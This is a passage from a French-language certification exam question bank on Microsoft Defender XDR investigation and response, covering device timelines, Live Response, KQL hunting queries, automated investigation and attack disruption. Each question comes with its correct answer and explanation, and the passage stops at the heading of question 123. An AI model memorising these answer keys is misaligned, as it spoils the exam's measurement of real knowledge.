**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Lors d'une investigation sur un poste, un analyste veut voir dans l'ordre chronologique les processus créés, connexions réseau, fichiers et modifications de registre survenus autour de l'heure d'une alerte, et marquer les événements intéressants. Quelle vue utiliser ?

**A.** La chronologie (Timeline) de la page de l'appareil, avec ses filtres et la possibilité de marquer des événements (flag).

**B.** L'inventaire logiciel.

**C.** Le rapport de filtrage web.

**D.** Le Secure Score de l'appareil.

**Bonne réponse : A**

**Correction détaillée**

La **chronologie de l'appareil** affiche les événements et alertes dans l'ordre temporel, avec filtres (type d'événement, gravité, technique MITRE...), recherche, export, et **marquage d'événements** (drapeau) pour construire la séquence de l'attaque.

**Analyse des réponses incorrectes**

- **B.** Il liste les logiciels installés.
- **C.** Il concerne la navigation par catégories.
- **D.** Il mesure la posture de configuration.

**Explication technique**

Depuis un événement, on peut ouvrir l'arborescence du processus, chercher l'événement en chasse avancée, voir les techniques MITRE associées. Le référentiel cite « Analyser les historiques des appareils ».

**Point à retenir pour l'examen :** Reconstituer la séquence sur un poste = chronologie de l'appareil (filtres + marquage d'événements).

**Référence officielle**

- Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines
- Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines

## Question n° 107 — Analyse approfondie d'un fichier

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un fichier inconnu signé par un éditeur douteux apparaît sur trois postes. L'antivirus ne le détecte pas. Vous voulez observer son comportement (connexions, fichiers créés, registre) dans un environnement contrôlé. Quelle action choisir ?

**A.** Lancer une analyse antivirus rapide.

**B.** Ajouter un indicateur « Autoriser ».

**C.** Restaurer le fichier depuis la quarantaine.

**D.** Soumettre le fichier à l'analyse approfondie (Deep analysis).

**Bonne réponse : D**

**Correction détaillée**

L'**analyse approfondie** exécute le fichier dans un **bac à sable cloud** et produit un rapport comportemental (processus, connexions, fichiers déposés, modifications de registre, IOC observés).

**Analyse des réponses incorrectes**

- **A.** Elle ne fournit pas de rapport comportemental.
- **B.** Contraire à la prudence.
- **C.** Sans objet : il n'est pas en quarantaine.

**Explication technique**

L'analyse approfondie requiert que le fichier soit disponible (collecté auprès d'un appareil ou déjà échantillonné) ; elle concerne principalement les exécutables Windows (PE). Selon le résultat, on ajoute un **indicateur** de blocage, on met le fichier en **quarantaine** sur tous les appareils et on recherche ses occurrences en chasse avancée.

**Point à retenir pour l'examen :** Comportement d'un fichier inconnu = Deep analysis (bac à sable) ; ensuite indicateur + quarantaine.

**Référence officielle**

- Prendre des mesures de réponse sur un fichier — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-file-alerts

## Question n° 108 — Arrêter et mettre en quarantaine un fichier

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un fichier malveillant est présent sur 40 appareils et un processus associé est en cours d'exécution sur certains. Quelle action unique arrête les processus et met le fichier en quarantaine sur tous les appareils où il a été vu ?

**A.** Isoler les 40 appareils un par un.

**B.** Lancer Live Response sur chaque appareil.

C. « Arrêter et mettre en quarantaine le fichier » (Stop and quarantine file) depuis la page du fichier.

D. Ajouter un indicateur « Auditer ».

**Bonne réponse : C**

**Correction détaillée**

**Stop and quarantine file** arrête les processus en cours liés au fichier et le place en quarantaine sur les appareils où il a été observé (dans une période récente, selon la documentation).

**Analyse des réponses incorrectes**

- **A.** Disproportionné et ne supprime pas le fichier.
- **B.** Possible mais beaucoup plus lent.
- **D.** L'audit ne bloque ni ne supprime.

**Explication technique**

L'action est réversible (restauration depuis la quarantaine). Pour empêcher les futures exécutions sur tout le parc, on ajoute un **indicateur de fichier** « Bloquer et corriger ». Les actions apparaissent dans le Centre de notifications.

**Point à retenir pour l'examen :** Fichier malveillant sur plusieurs appareils = Stop and quarantine file + indicateur de blocage pour l'avenir.

**Référence officielle**

- Prendre des mesures de réponse sur un fichier — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-file-alerts

## Question n° 109 — Live Response : collecter une image mémoire avec un script

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Pour une analyse mémoire, vous devez exécuter sur un serveur un script PowerShell interne qui crée un dump de processus, puis récupérer le fichier produit. Quelle séquence Live Response est correcte ?

A. Utiliser `putfile` pour télécharger le dump vers le portail.

B. Charger le script dans la bibliothèque Live Response, l'exécuter avec `run`, puis récupérer le fichier généré avec `getfile`.

C. Utiliser `remediate` sur le processus.

D. Utiliser `processes` pour copier la mémoire du processus.

**Bonne réponse : B**

**Correction détaillée**

Les scripts doivent être présents dans la **bibliothèque** Live Response (`library` pour lister) ; `run <script>` les exécute ; `getfile <chemin>` récupère un fichier (jusqu'à 3 Go). Ces commandes sont **avancées** et nécessitent les droits adéquats ; les scripts non signés exigent l'option dédiée.

**Analyse des réponses incorrectes**

- **A.** `putfile` copie un fichier de la bibliothèque **vers** l'appareil, pas l'inverse.
- **C.** `remediate` supprime/corrige une entité, à l'opposé d'une collecte de preuves.
- **D.** `processes` liste les processus, il ne crée pas de dump.

**Explication technique**

Autres commandes utiles : `connections`, `scheduledtasks`, `services`, `registry`, `findfile`, `fileinfo`, `analyze`, `collect` (package d'investigation), `trace`. L'historique de la session est conservé pour la traçabilité de la chaîne de preuves.

**Exemple pratique**

```powershell
library
run DumpProcess.ps1 -parameters "-ProcessId 4812 -Output C:\Temp\p4812.dmp"
getfile C:\Temp\p4812.dmp
```

**Point à retenir pour l'examen :** Live Response : bibliothèque → `run` → `getfile` ; `putfile` va vers l'appareil.

**Référence officielle**

- Examiner les entités sur les appareils avec Live Response — https://learn.microsoft.com/fr-fr/defender-endpoint/live-response

## Question n° 110 — Arborescence de processus d'une alerte

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte « Suspicious process injection » est levée. Pour comprendre comment le processus malveillant a été lancé, quel élément de la page d'alerte est le plus utile ?

**A.** L'arborescence du processus (process tree) et l'histoire de l'alerte, qui montrent les processus parents, enfants et les preuves associées.

**B.** La liste des vulnérabilités logicielles.

**C.** Le Secure Score de l'appareil.

**D.** Le rapport d'intégrité du capteur.

**Bonne réponse : A**

**Correction détaillée**

La page d'alerte présente une **histoire de l'alerte** avec l'**arborescence des processus** (parent → enfant), les lignes de commande, les fichiers, connexions et clés de registre associés. On remonte ainsi au vecteur initial (par exemple winword.exe → powershell.exe → rundll32.exe).

**Analyse des réponses incorrectes**

- **B.** Utile pour l'exposition, pas pour la chaîne de processus.
- **C.** Il ne décrit pas la chaîne d'exécution.
- **D.** Il indique l'état de l'agent.

**Explication technique**

Chaque nœud propose des actions (ouvrir la page du fichier, chercher en chasse avancée, voir dans la chronologie). En chasse avancée, les colonnes `InitiatingProcess*` de DeviceProcessEvents reproduisent cette relation parent-enfant.

**Point à retenir pour l'examen :** Comprendre l'origine d'un processus = arborescence de processus de l'alerte (colonnes InitiatingProcess* en KQL).

**Référence officielle**

- Examiner les appareils dans Microsoft Defender for Endpoint — https://learn.microsoft.com/fr-fr/defender-endpoint/investigate-machines
- Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts

## Question n° 111 — Rechercher l'exécution d'un hachage sur le parc

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Un rapport de renseignement fournit le SHA256 d'un outil d'accès à distance malveillant. Quelle requête de chasse avancée liste les appareils où il a été exécuté au cours des 30 derniers jours ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl == "4f8a1c9e0d2b7a6f5e3c1b9a8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessCommandLine has "SHA256"
```

**C.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(30d)
| where AccountName == "4f8a1c9e0d2b7a6f5e3c1b9a8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e"
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(30d)
| where SHA256 == "4f8a1c9e0d2b7a6f5e3c1b9a8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e"
| summarize PremiereExecution = min(Timestamp), DerniereExecution = max(Timestamp) by DeviceName,
AccountName
```

**Bonne réponse : D**

### Correction détaillée

**DeviceProcessEvents** enregistre les créations de processus avec les hachages du fichier exécuté (**SHA1**, **SHA256**, MD5) ; filtrer sur `SHA256` puis résumer par appareil et compte donne la portée de l'exécution.

### Analyse des réponses incorrectes

- **A.** Un hachage de fichier ne se recherche pas dans les URL distantes.
- **B.** Cherche la chaîne littérale « SHA256 » dans une ligne de commande, sans rapport avec le hachage recherché.
- **C.** DeviceLogonEvents décrit des ouvertures de session, pas des exécutions de fichiers.

### Explication technique

Pour savoir si le fichier est simplement **présent** (écrit sur disque sans exécution), interrogez **DeviceFileEvents** (FileCreated, FileRenamed…). Pour l'avoir vu **en tant que processus parent**, utilisez `InitiatingProcessSHA256`. La fonction `FileProfile()` enrichit avec la prévalence mondiale et la signature.

### Résultat attendu

Une ligne par couple appareil/compte avec la première et la dernière exécution observées.

### Hypothèses liées au schéma de données

Requête de chasse avancée Defender XDR (colonne temporelle `Timestamp`). Dans Sentinel, la même table utilise `TimeGenerated`.

**Point à retenir pour l'examen :** Exécution d'un hachage = DeviceProcessEvents.SHA256 ; présence sur disque = DeviceFileEvents.

### Référence officielle

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table
- Chasser de manière proactive les menaces avec une chasse avancée dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-overview

## Question n° 112 — Investigation d'un compte utilisateur sur les appareils

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Vous devez savoir sur quels appareils le compte « svc_backup » s'est connecté de manière interactive ou via RDP au cours des 7 derniers jours. Quelle requête est la plus appropriée ?

**A.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(7d)
| where QueryTarget == "svc_backup"
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where AccountName =~ "svc_backup"
| where ActionType == "LogonSuccess"
| where LogonType in ("Interactive", "RemoteInteractive")
| summarize Connexions = count(), Derniere = max(Timestamp) by DeviceName, LogonType, RemoteIP
```

**C.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where AccountName == "svc_backup"
| where LogonType == 10
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName == "svc_backup"
```

**Bonne réponse : B**

### Correction détaillée

**DeviceLogonEvents** contient les ouvertures de session sur les appareils intégrés : `ActionType` (LogonSuccess, LogonFailed, LogonAttempted), `LogonType` sous forme de **chaîne** (Interactive, RemoteInteractive, Network, Batch, Service...), `AccountName`, `RemoteIP`, `IsLocalAdmin`. L'opérateur `=~` compare sans tenir compte de la casse.

### Analyse des réponses incorrectes

- **A.** IdentityQueryEvents décrit des requêtes de reconnaissance (LDAP, DNS, SAMR), pas des ouvertures de session.
- **C.** Dans DeviceLogonEvents, LogonType est une chaîne (« RemoteInteractive »), pas le code numérique Windows 10.
- **D.** FileName désigne un fichier exécuté, pas un compte.

### Explication technique

Le type « RemoteInteractive » correspond aux sessions RDP. Pour les authentifications vues par les contrôleurs de domaine (Kerberos, NTLM), on utilise **IdentityLogonEvents** (Defender for Identity). Dans SecurityEvent (Sentinel), LogonType est numérique (2, 3, 10...).

### Résultat attendu

Une ligne par appareil, type d'ouverture de session et IP distante, avec le nombre de connexions et la plus récente.

**Point à retenir pour l'examen :** DeviceLogonEvents.LogonType est textuel (RemoteInteractive = RDP) ; SecurityEvent.LogonType est numérique (10 = RDP).

**Référence officielle**

- DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table

## Question n° 113 — Évaluer la prévalence d'un fichier

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Pendant la chasse, vous voulez enrichir une liste de fichiers exécutés récemment avec leur prévalence mondiale, leur signataire et leur réputation, afin d'identifier les binaires rares. Quelle fonction de chasse avancée utiliser ?

**A.** La fonction `FileProfile()`, appelée avec `invoke` sur les colonnes de hachage.

**B.** L'opérateur `mv-expand`.

**C.** La fonction `geo_info_from_ip_address()`.

**D.** La fonction `ago()`.

**Bonne réponse : A**

**Correction détaillée**

** `FileProfile()` **enrichit des résultats contenant un hachage (SHA1 ou SHA256) avec des informations de fichier :** GlobalPrevalence**, GlobalFirstSeen, Signer, IsCertificateValid, IsRootSignerMicrosoft, ThreatName, etc.

**Analyse des réponses incorrectes**

- **B.** Il développe des tableaux dynamiques en lignes.
- **C.** Elle géolocalise des adresses IP.
- **D.** Elle calcule une date relative.

**Explication technique**

Syntaxe : `| invoke FileProfile(SHA1, 1000)` (colonne de hachage, nombre maximal d'enregistrements enrichis). Un binaire non signé, de faible prévalence mondiale et récemment apparu est un bon candidat d'investigation. La fonction est propre à la chasse avancée Defender XDR.

**Exemple pratique**

KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| summarize Appareils = dcount(DeviceId) by SHA1, FileName
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsCertificateValid != true
| project FileName, SHA1, Appareils, GlobalPrevalence, Signer, ThreatName
```

**Point à retenir pour l'examen :** Prévalence/signature d'un hachage en chasse avancée = `invoke FileProfile(SHA1|SHA256, max)`.

**Référence officielle**

- FileProfile() — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-fileprofile-function

## Question n° 114 — Analyse antivirus à distance

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après la suppression d'un malware, vous voulez vérifier qu'aucune autre menace n'est présente sur un poste. Quelle action de réponse est la plus adaptée ?

**A.** Libérer l'appareil de l'isolation.

**B.** Ajouter une balise « Nettoyé » à l'appareil.

**C.** Collecter un package d'investigation.

**D.** Lancer une analyse antivirus Microsoft Defender complète (full scan) depuis la page de l'appareil.

**Bonne réponse : D**

**Correction détaillée**

L'action **Exécuter une analyse antivirus** permet une analyse **rapide** (emplacements courants de malwares) ou **complète** (tous les fichiers). Le résultat apparaît dans le Centre de notifications et la chronologie.

**Analyse des réponses incorrectes**

- **A.** À faire après vérification, pas à la place.
- **B.** Une balise ne vérifie rien.
- **C.** Il collecte des artefacts mais ne recherche pas de menaces.

**Explication technique**

Pour les investigations, l'analyse complète est plus longue mais plus exhaustive. L'analyse fonctionne même si Defender est en mode passif (l'analyse est alors effectuée sans remédiation selon la configuration). Une nouvelle enquête automatisée (AIR) peut aussi être lancée.

**Point à retenir pour l'examen :** Vérification post-nettoyage = analyse AV complète à distance (+ enquête automatisée si besoin).

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## 2.4 Investigation et réponse automatisées (AIR) et interruption d'attaque

### Question n° 115 — Approuver une action en attente

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une enquête automatisée sur un poste propose de mettre en quarantaine un fichier situé dans C:\Windows\System32, mais l'action est « en attente ». Où l'analyste approuve-t-il ou rejette-t-il cette action ?

**A.** Dans la page Watchlists de Sentinel.

**B.** Dans le Centre d'administration Microsoft Entra.

**C.** Dans le Centre de notifications (Action center), onglet « En attente » (Pending), ou dans l'onglet Enquêtes de l'incident.

**D.** Dans les paramètres des règles ASR.

**Bonne réponse : C**

**Correction détaillée**

Le **Centre de notifications** unifié liste les actions de remédiation **en attente** (à approuver ou rejeter) et l'**historique** des actions (y compris manuelles). L'action est en attente car le niveau d'automatisation exige une approbation pour les dossiers principaux (« core folders »).

**Analyse des réponses incorrectes**

- **A.** Sans rapport.
- **B.** Les actions AIR se gèrent dans Defender XDR.
- **D.** Sans rapport avec les actions AIR.

### Explication technique

Les actions en attente expirent après 7 jours (traité comme un rejet). L'historique permet d'annuler certaines actions (par exemple restaurer un fichier mis en quarantaine). Les actions AIR de Defender for Office 365 (suppression d'e-mails) apparaissent aussi dans le Centre de notifications.

**Point à retenir pour l'examen :** Approuver/rejeter les remédiations AIR = Action center (Pending) ; historique et annulation = onglet History.

### Référence officielle

- Vue d'ensemble du centre de notifications dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-action-center
- Vue d'ensemble des enquêtes automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automated-investigations

## Question n° 116 — Déclenchement d'une enquête automatisée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle affirmation décrit correctement l'investigation et la réponse automatisées (AIR) de Defender XDR ?

**A.** Une alerte déclenche une enquête automatisée qui examine les preuves (fichiers, processus, services, pilotes, adresses IP, e-mails…), leur attribue un verdict et propose ou applique des actions de remédiation selon le niveau d'automatisation.

**B.** AIR ne traite que les e-mails.

**C.** AIR remplace l'antivirus Microsoft Defender.

**D.** AIR ne fonctionne que sur demande manuelle d'un analyste.

**Bonne réponse : A**

### Correction détaillée

**AIR** imite les étapes d'un analyste : il collecte les **preuves**, les analyse avec des modèles et des renseignements, attribue un **verdict** (malveillant, suspect, aucune menace) et produit des **actions de remédiation**, appliquées automatiquement ou mises en attente d'approbation.

### Analyse des réponses incorrectes

- **B.** AIR couvre les terminaux (MDE) et la messagerie (MDO), avec des enquêtes au niveau de l'incident.
- **C.** AIR s'appuie sur les protections existantes ; il ne les remplace pas.
- **D.** Les enquêtes se lancent automatiquement à partir d'alertes (et peuvent aussi être lancées manuellement).

### Explication technique

Une enquête peut s'étendre à d'autres appareils (« entités associées »). L'état de l'enquête (en cours, remédiée, partiellement remédiée, aucune menace) s'affiche dans l'incident. Côté MDO, AIR se déclenche notamment sur les signalements d'hameçonnage par les utilisateurs ou sur des alertes de clics malveillants.

**Point à retenir pour l'examen :** AIR = collecte de preuves → verdicts → remédiations automatiques ou en attente (Action center).

### Référence officielle

- Vue d'ensemble des enquêtes automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automated-investigations
- Investigation et réponse automatisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-autoir

## Question n° 117 — Prérequis de l'interruption automatique d'attaque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous voulez maximiser l'efficacité de l'interruption automatique d'attaque contre les rançongiciels opérés par des humains. Quelles configurations sont recommandées ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

- **A.** Déployer Defender for Endpoint avec la découverte des appareils et le mode bloc EDR / la protection contre les falsifications, sur un maximum d'appareils.
- **B.** Déployer Defender for Identity sur les contrôleurs de domaine (pour permettre les actions sur les comptes Active Directory, comme la désactivation de l'utilisateur).
- **C.** Désactiver l'antivirus Microsoft Defender au profit d'un pare-feu tiers.
- **D.** Supprimer tous les comptes de service.
- **E.** Configurer tous les groupes d'appareils en « No automated response ».

**Bonne réponse : A, B**

### Correction détaillée

L'interruption automatique repose sur la couverture XDR : **MDE** (découverte des appareils, EDR en mode bloc, protection contre les falsifications) pour **contenir les appareils**, et **MDI** pour **désactiver/contenir les comptes** Active Directory. Les niveaux d'automatisation appropriés et l'audit des exclusions sont également recommandés.

### Analyse des réponses incorrectes

- **C.** Cela supprime des capacités de protection et de confinement.
- **D.** Sans rapport et irréaliste ; on peut en revanche exclure des comptes critiques de l'interruption.
- **E.** L'interruption s'appuie sur des actions automatiques ; des niveaux d'automatisation faibles limitent la réponse.

### Explication technique

Il est possible d'**exclure** des utilisateurs (comptes de service critiques) ou des appareils de certaines actions d'interruption. Les incidents portent l'étiquette « Attack Disruption » et le Centre de notifications montre les actions, que l'analyste peut annuler après analyse. Le référentiel cite « Configurer l'interruption automatique des attaques ».

> **Point à retenir pour l'examen :** Attack disruption efficace = MDE largement déployé (bloc EDR, anti-falsification) + MDI sur les DC + automatisation suffisante ; exclusions possibles.

### Référence officielle

- Configurer l'interruption automatique des attaques dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/configure-attack-disruption
- Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption

## Question n° 118 — Incident portant l'étiquette d'interruption d'attaque

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un incident affiche l'étiquette « Attack Disruption » : un utilisateur a été désactivé et deux appareils contenus automatiquement. Quelle est la conduite à tenir de l'analyste ?

- **A.** Annuler immédiatement toutes les actions automatiques pour éviter les perturbations.
- **B.** Attendre qu'une règle d'automatisation ferme l'incident.

C. Fermer l'incident, car l'interruption a résolu l'attaque.

D. Prioriser l'incident, analyser l'histoire de l'attaque, poursuivre l'investigation et la remédiation, puis lever le confinement et réactiver le compte une fois la menace éliminée.

**Bonne réponse : D**

**Correction détaillée**

L'interruption automatique **contient** l'attaque pour gagner du temps ; elle ne remplace ni l'**investigation** (périmètre, vecteur initial, persistance) ni l'**éradication**. Les actions (désactivation d'utilisateur, confinement d'appareil) sont réversibles depuis le Centre de notifications ou la page de l'entité.

**Analyse des réponses incorrectes**

- **A.** Risque de laisser l'attaquant reprendre la main ; il faut d'abord analyser.
- **B.** L'incident nécessite une investigation humaine.
- **C.** L'interruption contient l'attaque mais ne l'éradique pas.

**Explication technique**

Ces incidents sont à haute fidélité : les traiter en priorité. Communiquer avec les équipes métier sur les comptes/appareils contenus. Documenter la levée des mesures.

**Point à retenir pour l'examen :** « Attack Disruption » = attaque contenue, pas terminée : enquêter, éradiquer, puis lever le confinement.

**Référence officielle**

- Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption

## Question n° 119 — Résolution automatique des alertes

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après une enquête automatisée concluant à « aucune menace trouvée », les alertes associées restent ouvertes et encombrent la file. Quelle fonctionnalité avancée de MDE permet de les résoudre automatiquement ?

A. « Custom network indicators ».

B. « Automatically resolve alerts » (résoudre automatiquement les alertes).

C. « Live response unsigned script execution ».

D. « Allow or block file ».

**Bonne réponse : B**

**Correction détaillée**

Avec **Automatically resolve alerts**, les alertes pour lesquelles l'enquête automatisée ne trouve aucune menace ou a terminé la remédiation sont résolues automatiquement.

**Analyse des réponses incorrectes**

- **A.** Concerne les indicateurs IP/URL.
- **C.** Concerne l'exécution de scripts non signés.
- **D.** Permet les indicateurs de fichiers.

**Explication technique**

Bonne pratique : garder cette option activée pour réduire le bruit, tout en surveillant les enquêtes « partiellement remédiées » ou en échec. Les alertes résolues restent consultables.

**Point à retenir pour l'examen :** Fermer automatiquement les alertes « sans menace » après AIR = Automatically resolve alerts.

**Référence officielle**

- Configurer des fonctionnalités avancées dans Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/advanced-features
- Vue d'ensemble des enquêtes automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automated-investigations

## Question n° 120 — Enquête manuelle à la demande

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un appareil présente des comportements anormaux sans alerte associée. L'analyste veut que Defender for Endpoint lance une enquête automatisée complète sur cet appareil. Quelle action utiliser ?

**A.** « Offboard device ».

**B.** « Contenir l'appareil ».

**C.** « Lancer une enquête automatisée » (Initiate automated investigation) depuis la page de l'appareil.

**D.** « Signaler l'imprécision de l'appareil ».

**Bonne réponse : C**

**Correction détaillée**

L'action **Initiate automated investigation** démarre une enquête AIR sur l'appareil même sans alerte préalable ; les résultats et éventuelles actions apparaissent dans l'onglet Enquêtes et le Centre de notifications.

**Analyse des réponses incorrectes**

- **A.** Retire l'appareil de la surveillance.
- **B.** Action de confinement pour appareils non intégrés.
- **D.** Sert à corriger des informations d'inventaire.

**Explication technique**

Les enquêtes manuelles suivent le niveau d'automatisation du groupe d'appareils. Elles complètent la chasse avancée et la chronologie de l'appareil.

**Point à retenir pour l'examen :** Enquête AIR sans alerte = Initiate automated investigation.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Vue d'ensemble des enquêtes automatisées — https://learn.microsoft.com/fr-fr/defender-endpoint/automated-investigations

## Question n° 121 — Désactiver l'interruption pour un compte de service critique

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un compte de service critique pour la production a été désactivé à tort par l'interruption automatique d'attaque à cause d'un comportement atypique mais légitime. Comment éviter que cela se reproduise, sans désactiver la fonctionnalité pour le reste du locataire ?

**A.** Ajouter le compte aux exclusions de l'interruption automatique d'attaque (exclusion d'identité), après validation que son comportement est légitime.

**B.** Supprimer le compte et le recréer.

**C.** Passer tous les groupes d'appareils en « No automated response ».

**D.** Désactiver Defender for Identity.

**Bonne réponse : A**

**Correction détaillée**

Les paramètres de l'interruption automatique permettent d'**exclure des utilisateurs** (et des appareils selon les actions) des actions automatiques de confinement, pour protéger des comptes critiques.

**Analyse des réponses incorrectes**

- **B.** Ne change rien au comportement et perturbe la production.
- **C.** Supprime l'automatisation pour tout le parc.
- **D.** On perdrait les détections et la protection des identités.

**Explication technique**

Les exclusions doivent rester rares, documentées et revues, car un compte exclu pourrait être exploité par un attaquant sans être contenu. Préférez le durcissement du compte (mot de passe long géré, restriction des connexions, gMSA).

**Point à retenir pour l'examen :** Faux positif d'interruption sur un compte critique = exclusion ciblée dans les paramètres d'attack disruption.

**Référence officielle**

- Configurer l'interruption automatique des attaques dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/configure-attack-disruption

## 2.5 Defender for Office 365 : messagerie et collaboration

### Question n° 122 — Threat Explorer et licences

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation dispose de Defender for Office 365 Plan 1. Un analyste demande pourquoi il ne voit pas « Threat Explorer » mais « Détections en temps réel ». Quelle est l'explication ?

**A.** Les détections en temps réel ont été renommées Threat Explorer dans tous les plans.

**B.** Threat Explorer est inclus dans Defender for Office 365 Plan 2 (ou Microsoft 365 E5) ; le Plan 1 propose les détections en temps réel, aux capacités plus limitées.

**C.** Threat Explorer n'est disponible que pour les administrateurs généraux.

**D.** Threat Explorer nécessite Microsoft Sentinel.

**Bonne réponse : B**

**Correction détaillée**

**Threat Explorer** (Plan 2) permet l'investigation approfondie, la chasse et la **remédiation** d'e-mails (suppression, déplacement), les campagnes, etc. Les **détections en temps réel** (Plan 1) offrent une vue de rapport plus limitée.

**Analyse des réponses incorrectes**

- **A.** Les deux expériences coexistent selon le plan.
- **C.** C'est une question de licence (et de rôles), pas uniquement de rôle d'administrateur général.
- **D.** Explorer est une fonctionnalité de Defender for Office 365, indépendante de Sentinel.

**Explication technique**

Plan 1 : pièces jointes sécurisées, liens sécurisés, anti-hameçonnage avancé (usurpation d'identité), détections en temps réel. Plan 2 : Plan 1 + Threat Explorer, Threat Trackers, AIR, simulation d'attaques, vues de campagnes, chasse avancée sur les tables Email*.

**Point à retenir pour l'examen :** MDO P1 = détections en temps réel ; MDO P2 = Threat Explorer, AIR, campagnes, simulation d'attaques.

**Référence officielle**

- À propos de Threat Explorer et des détections en temps réel dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/threat-explorer-real-time-detections-about
- Microsoft Defender pour Office 365 vue d'ensemble — https://learn.microsoft.com/fr-fr/defender-office-365/mdo-about

## Question n° 123 — Purger un e-mail d'hameçonnage déjà distribué

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

